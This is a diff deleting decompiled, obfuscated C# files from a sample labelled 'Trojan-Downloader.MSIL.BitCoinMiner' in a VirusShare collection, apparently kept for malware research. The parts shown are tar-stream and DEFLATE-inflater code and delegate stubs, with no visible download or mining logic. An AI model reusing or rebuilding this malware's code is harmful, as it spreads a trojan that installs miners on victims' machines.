private bool \u0003;
|
||||
protected long \u0004;
|
||||
protected byte[] \u0005;
|
||||
protected byte[] \u0006;
|
||||
protected \u0011\u0002 \u0007;
|
||||
protected Stream \u0008;
|
||||
|
||||
[SpecialName]
|
||||
public override bool get_CanRead() => \u0007\u0003.\u007E\u009E\u0004((object) this.\u0008);
|
||||
|
||||
[SpecialName]
|
||||
public override bool get_CanSeek() => \u0007\u0003.\u007E\u009F\u0004((object) this.\u0008);
|
||||
|
||||
[SpecialName]
|
||||
public override bool get_CanWrite() => \u0007\u0003.\u007E\u0002\u0005((object) this.\u0008);
|
||||
|
||||
[SpecialName]
|
||||
public override long get_Length() => \u007F\u0004.\u007E\u0003\u0005((object) this.\u0008);
|
||||
|
||||
[SpecialName]
|
||||
public override long get_Position() => \u007F\u0004.\u007E\u0004\u0005((object) this.\u0008);
|
||||
|
||||
[SpecialName]
|
||||
public override void set_Position([In] long obj0) => \u009F\u0004.\u007E\u0005\u0005((object) this.\u0008, obj0);
|
||||
|
||||
public override long Seek([In] long obj0, [In] SeekOrigin obj1) => \u0015\u0004.\u007E\u0008\u0005((object) this.\u0008, obj0, obj1);
|
||||
|
||||
public override void SetLength([In] long obj0) => \u009F\u0004.\u007E\u000E\u0005((object) this.\u0008, obj0);
|
||||
|
||||
public override int ReadByte() => \u0011\u0003.\u007E\u0010\u0005((object) this.\u0008);
|
||||
|
||||
public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2) => \u0089\u0005.\u007E\u000F\u0005((object) this.\u0008, obj0, obj1, obj2);
|
||||
|
||||
public override void Flush() => \u0093\u0003.\u007E\u0007\u0005((object) this.\u0008);
|
||||
|
||||
public void \u0080\u0004()
|
||||
{
|
||||
if (this.\u0081\u0004())
|
||||
goto label_2;
|
||||
label_1:
|
||||
this.\u0083\u0004();
|
||||
return;
|
||||
label_2:
|
||||
this.\u0082\u0004();
|
||||
goto label_1;
|
||||
}
|
||||
|
||||
public override void Close()
|
||||
{
|
||||
if (this.\u0003)
|
||||
return;
|
||||
this.\u0003 = true;
|
||||
this.\u0080\u0004();
|
||||
this.\u0007.Close();
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
private bool \u0081\u0004() => this.\u0001 < this.\u0004;
|
||||
|
||||
public void \u0082\u0004()
|
||||
{
|
||||
if (this.\u0002 > 0)
|
||||
{
|
||||
\u0099\u0004.\u0099((Array) this.\u0006, this.\u0002, this.\u0006.Length - this.\u0002);
|
||||
this.\u0007.\u0002\u0004(this.\u0006);
|
||||
this.\u0001 += (long) this.\u0002;
|
||||
this.\u0002 = 0;
|
||||
}
|
||||
if (this.\u0001 < this.\u0004)
|
||||
throw new TarException(\u001D\u0003.\u001A\u0002(\u0008.\u000E\u0003(2863), (object) this.\u0001, (object) this.\u0004));
|
||||
}
|
||||
|
||||
public override void WriteByte([In] byte obj0) => \u001F\u0004.\u007E\u0011\u0005((object) this, new byte[1]
|
||||
{
|
||||
obj0
|
||||
}, 0, 1);
|
||||
|
||||
public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
|
||||
if (obj1 < 0)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577), \u0008.\u000E\u0003(2972));
|
||||
if (obj0.Length - obj1 < obj2)
|
||||
throw new ArgumentException(\u0008.\u000E\u0003(2997));
|
||||
if (obj2 < 0)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), \u0008.\u000E\u0003(2972));
|
||||
if (this.\u0001 + (long) obj2 > this.\u0004)
|
||||
{
|
||||
string message = \u001D\u0003.\u001A\u0002(\u0008.\u000E\u0003(3050), (object) obj2, (object) this.\u0004);
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), message);
|
||||
}
|
||||
if (this.\u0002 > 0)
|
||||
{
|
||||
if (this.\u0002 + obj2 >= this.\u0005.Length)
|
||||
{
|
||||
int num = this.\u0005.Length - this.\u0002;
|
||||
\u008F\u0003.\u0098((Array) this.\u0006, 0, (Array) this.\u0005, 0, this.\u0002);
|
||||
\u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0005, this.\u0002, num);
|
||||
this.\u0007.\u0002\u0004(this.\u0005);
|
||||
this.\u0001 += (long) this.\u0005.Length;
|
||||
obj1 += num;
|
||||
obj2 -= num;
|
||||
this.\u0002 = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
\u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0006, this.\u0002, obj2);
|
||||
obj1 += obj2;
|
||||
this.\u0002 += obj2;
|
||||
obj2 -= obj2;
|
||||
}
|
||||
}
|
||||
while (obj2 > 0)
|
||||
{
|
||||
if (obj2 < this.\u0005.Length)
|
||||
{
|
||||
\u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0006, this.\u0002, obj2);
|
||||
this.\u0002 += obj2;
|
||||
break;
|
||||
}
|
||||
this.\u0007.\u0002\u0004(obj0, obj1);
|
||||
int length = this.\u0005.Length;
|
||||
this.\u0001 += (long) length;
|
||||
obj2 -= length;
|
||||
obj1 += length;
|
||||
}
|
||||
}
|
||||
|
||||
private void \u0083\u0004()
|
||||
{
|
||||
\u0099\u0004.\u0099((Array) this.\u0005, 0, this.\u0005.Length);
|
||||
this.\u0007.\u0002\u0004(this.\u0005);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate bool \u0010\u0003([In] TimeSpan obj0, [In] TimeSpan obj1);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Reflection.Emit;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate ILGenerator \u0010\u0004([In] object obj0);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
internal delegate void \u0010\u0005([In] object obj0, [In] AutoScaleMode obj1);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate int \u0011\u0003([In] object obj0);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u0011\u0004([In] string obj0);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
internal delegate StringBuilder \u0011\u0005([In] object obj0, [In] string obj1);
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u0012\u0003([In] object obj0, [In] ShutdownEventHandler obj1);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate Network \u0012\u0004([In] object obj0);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
internal delegate void \u0012\u0005([In] object obj0, [In] FormBorderStyle obj1);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u0013\u0003([In] object obj0, [In] bool obj1);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using Microsoft.VisualBasic.MyServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate SpecialDirectoriesProxy \u0013\u0004([In] object obj0);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate int \u0013\u0005([In] int obj0, [In] int obj1);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate string \u0014\u0003([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate string \u0014\u0004([In] object obj0);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate FieldInfo[] \u0014\u0005([In] object obj0, [In] BindingFlags obj1);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Reflection;
|
||||
|
||||
internal delegate Assembly \u0015\u0003();
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate long \u0015\u0004([In] object obj0, [In] long obj1, [In] SeekOrigin obj2);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Globalization;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate int \u0015\u0005([In] string obj0, [In] string obj1, [In] bool obj2, [In] CultureInfo obj3);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u0016\u0003([In] object obj0, [In] EventHandler obj1);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate FileStream \u0016\u0004([In] string obj0);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u0016\u0005([In] Array obj0, [In] RuntimeFieldHandle obj1);
|
||||
@ -1,464 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u000E\u0002;
|
||||
using \u0017\u0002;
|
||||
using \u0090;
|
||||
using ICSharpCode.SharpZipLib;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0017\u0002
|
||||
{
|
||||
internal sealed class \u0013
|
||||
{
|
||||
private static readonly int[] \u0001 = new int[29]
|
||||
{
|
||||
3,
|
||||
4,
|
||||
5,
|
||||
6,
|
||||
7,
|
||||
8,
|
||||
9,
|
||||
10,
|
||||
11,
|
||||
13,
|
||||
15,
|
||||
17,
|
||||
19,
|
||||
23,
|
||||
27,
|
||||
31,
|
||||
35,
|
||||
43,
|
||||
51,
|
||||
59,
|
||||
67,
|
||||
83,
|
||||
99,
|
||||
115,
|
||||
131,
|
||||
163,
|
||||
195,
|
||||
227,
|
||||
258
|
||||
};
|
||||
private static readonly int[] \u0002 = new int[29]
|
||||
{
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
3,
|
||||
3,
|
||||
3,
|
||||
3,
|
||||
4,
|
||||
4,
|
||||
4,
|
||||
4,
|
||||
5,
|
||||
5,
|
||||
5,
|
||||
5,
|
||||
0
|
||||
};
|
||||
private static readonly int[] \u0003 = new int[30]
|
||||
{
|
||||
1,
|
||||
2,
|
||||
3,
|
||||
4,
|
||||
5,
|
||||
7,
|
||||
9,
|
||||
13,
|
||||
17,
|
||||
25,
|
||||
33,
|
||||
49,
|
||||
65,
|
||||
97,
|
||||
129,
|
||||
193,
|
||||
257,
|
||||
385,
|
||||
513,
|
||||
769,
|
||||
1025,
|
||||
1537,
|
||||
2049,
|
||||
3073,
|
||||
4097,
|
||||
6145,
|
||||
8193,
|
||||
12289,
|
||||
16385,
|
||||
24577
|
||||
};
|
||||
private static readonly int[] \u0004 = new int[30]
|
||||
{
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
1,
|
||||
2,
|
||||
2,
|
||||
3,
|
||||
3,
|
||||
4,
|
||||
4,
|
||||
5,
|
||||
5,
|
||||
6,
|
||||
6,
|
||||
7,
|
||||
7,
|
||||
8,
|
||||
8,
|
||||
9,
|
||||
9,
|
||||
10,
|
||||
10,
|
||||
11,
|
||||
11,
|
||||
12,
|
||||
12,
|
||||
13,
|
||||
13
|
||||
};
|
||||
private int \u0005;
|
||||
private int \u0006;
|
||||
private int \u0007;
|
||||
private int \u0008;
|
||||
private int \u000E;
|
||||
private int \u000F;
|
||||
private bool \u0010;
|
||||
private long \u0011;
|
||||
private long \u0012;
|
||||
private bool \u0013;
|
||||
private \u0014 \u0014;
|
||||
private \u0015 \u0015;
|
||||
private \u0017 \u0016;
|
||||
private \u0016 \u0017;
|
||||
private \u0016 \u0018;
|
||||
private \u008F \u0019;
|
||||
|
||||
public \u0013()
|
||||
: this(false)
|
||||
{
|
||||
}
|
||||
|
||||
public \u0013([In] bool obj0)
|
||||
{
|
||||
this.\u0013 = obj0;
|
||||
this.\u0019 = new \u008F();
|
||||
this.\u0014 = new \u0014();
|
||||
this.\u0015 = new \u0015();
|
||||
this.\u0005 = obj0 ? 2 : 0;
|
||||
}
|
||||
|
||||
private bool \u0088\u0004()
|
||||
{
|
||||
int num1 = this.\u0014.\u0013\u0003(16);
|
||||
if (num1 < 0)
|
||||
return false;
|
||||
this.\u0014.\u0014\u0003(16);
|
||||
int num2 = (num1 << 8 | num1 >> 8) & (int) ushort.MaxValue;
|
||||
if (num2 % 31 != 0)
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(3263));
|
||||
if ((num2 & 3840) != 2048)
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(3296));
|
||||
if ((num2 & 32) == 0)
|
||||
{
|
||||
this.\u0005 = 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.\u0005 = 1;
|
||||
this.\u0007 = 32;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private bool \u0089\u0004()
|
||||
{
|
||||
for (; this.\u0007 > 0; this.\u0007 -= 8)
|
||||
{
|
||||
int num = this.\u0014.\u0013\u0003(8);
|
||||
if (num < 0)
|
||||
return false;
|
||||
this.\u0014.\u0014\u0003(8);
|
||||
this.\u0006 = this.\u0006 << 8 | num;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private bool \u0010\u0003()
|
||||
{
|
||||
int num1 = this.\u0015.\u001E\u0003();
|
||||
while (num1 >= 258)
|
||||
{
|
||||
switch (this.\u0005)
|
||||
{
|
||||
case 7:
|
||||
int num2;
|
||||
while (((num2 = this.\u0017.\u0081\u0003(this.\u0014)) & -256) == 0)
|
||||
{
|
||||
this.\u0015.Write(num2);
|
||||
if (--num1 < 258)
|
||||
return true;
|
||||
}
|
||||
if (num2 < 257)
|
||||
{
|
||||
if (num2 < 0)
|
||||
return false;
|
||||
this.\u0018 = (\u0016) null;
|
||||
this.\u0017 = (\u0016) null;
|
||||
this.\u0005 = 2;
|
||||
return true;
|
||||
}
|
||||
try
|
||||
{
|
||||
this.\u0008 = \u0013.\u0001[num2 - 257];
|
||||
this.\u0007 = \u0013.\u0002[num2 - 257];
|
||||
goto case 8;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(3333));
|
||||
}
|
||||
case 8:
|
||||
if (this.\u0007 > 0)
|
||||
{
|
||||
this.\u0005 = 8;
|
||||
int num3 = this.\u0014.\u0013\u0003(this.\u0007);
|
||||
if (num3 < 0)
|
||||
return false;
|
||||
this.\u0014.\u0014\u0003(this.\u0007);
|
||||
this.\u0008 += num3;
|
||||
}
|
||||
this.\u0005 = 9;
|
||||
goto case 9;
|
||||
case 9:
|
||||
int index = this.\u0018.\u0081\u0003(this.\u0014);
|
||||
if (index < 0)
|
||||
return false;
|
||||
try
|
||||
{
|
||||
this.\u000E = \u0013.\u0003[index];
|
||||
this.\u0007 = \u0013.\u0004[index];
|
||||
goto case 10;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(3366));
|
||||
}
|
||||
case 10:
|
||||
if (this.\u0007 > 0)
|
||||
{
|
||||
this.\u0005 = 10;
|
||||
int num4 = this.\u0014.\u0013\u0003(this.\u0007);
|
||||
if (num4 < 0)
|
||||
return false;
|
||||
this.\u0014.\u0014\u0003(this.\u0007);
|
||||
this.\u000E += num4;
|
||||
}
|
||||
this.\u0015.\u001C\u0003(this.\u0008, this.\u000E);
|
||||
num1 -= this.\u0008;
|
||||
this.\u0005 = 7;
|
||||
continue;
|
||||
default:
|
||||
throw new SharpZipBaseException(\u0008.\u000E\u0003(3395));
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private bool \u008A\u0004()
|
||||
{
|
||||
for (; this.\u0007 > 0; this.\u0007 -= 8)
|
||||
{
|
||||
int num = this.\u0014.\u0013\u0003(8);
|
||||
if (num < 0)
|
||||
return false;
|
||||
this.\u0014.\u0014\u0003(8);
|
||||
this.\u0006 = this.\u0006 << 8 | num;
|
||||
}
|
||||
if ((int) this.\u0019.\u0088\u0003() != this.\u0006)
|
||||
{
|
||||
object[] objArray = new object[4]
|
||||
{
|
||||
(object) \u0008.\u000E\u0003(3424),
|
||||
(object) (int) this.\u0019.\u0088\u0003(),
|
||||
(object) \u0008.\u000E\u0003(3465),
|
||||
(object) this.\u0006
|
||||
};
|
||||
throw new SharpZipBaseException(\u008B\u0004.\u001E\u0002(objArray));
|
||||
}
|
||||
this.\u0005 = 12;
|
||||
return false;
|
||||
}
|
||||
|
||||
private bool \u0011\u0003()
|
||||
{
|
||||
switch (this.\u0005)
|
||||
{
|
||||
case 0:
|
||||
return this.\u0088\u0004();
|
||||
case 1:
|
||||
return this.\u0089\u0004();
|
||||
case 2:
|
||||
if (this.\u0010)
|
||||
{
|
||||
if (this.\u0013)
|
||||
{
|
||||
this.\u0005 = 12;
|
||||
return false;
|
||||
}
|
||||
this.\u0014.\u0017\u0003();
|
||||
this.\u0007 = 32;
|
||||
this.\u0005 = 11;
|
||||
return true;
|
||||
}
|
||||
int num1 = this.\u0014.\u0013\u0003(3);
|
||||
if (num1 < 0)
|
||||
return false;
|
||||
this.\u0014.\u0014\u0003(3);
|
||||
if ((num1 & 1) != 0)
|
||||
this.\u0010 = true;
|
||||
switch (num1 >> 1)
|
||||
{
|
||||
case 0:
|
||||
this.\u0014.\u0017\u0003();
|
||||
this.\u0005 = 3;
|
||||
break;
|
||||
case 1:
|
||||
this.\u0017 = \u0016.\u0002;
|
||||
this.\u0018 = \u0016.\u0003;
|
||||
this.\u0005 = 7;
|
||||
break;
|
||||
case 2:
|
||||
this.\u0016 = new \u0017();
|
||||
this.\u0005 = 6;
|
||||
break;
|
||||
default:
|
||||
throw new SharpZipBaseException(\u0002\u0005.\u001C\u0002((object) \u0008.\u000E\u0003(3474), (object) num1));
|
||||
}
|
||||
return true;
|
||||
case 3:
|
||||
if ((this.\u000F = this.\u0014.\u0013\u0003(16)) < 0)
|
||||
return false;
|
||||
this.\u0014.\u0014\u0003(16);
|
||||
this.\u0005 = 4;
|
||||
goto case 4;
|
||||
case 4:
|
||||
int num2 = this.\u0014.\u0013\u0003(16);
|
||||
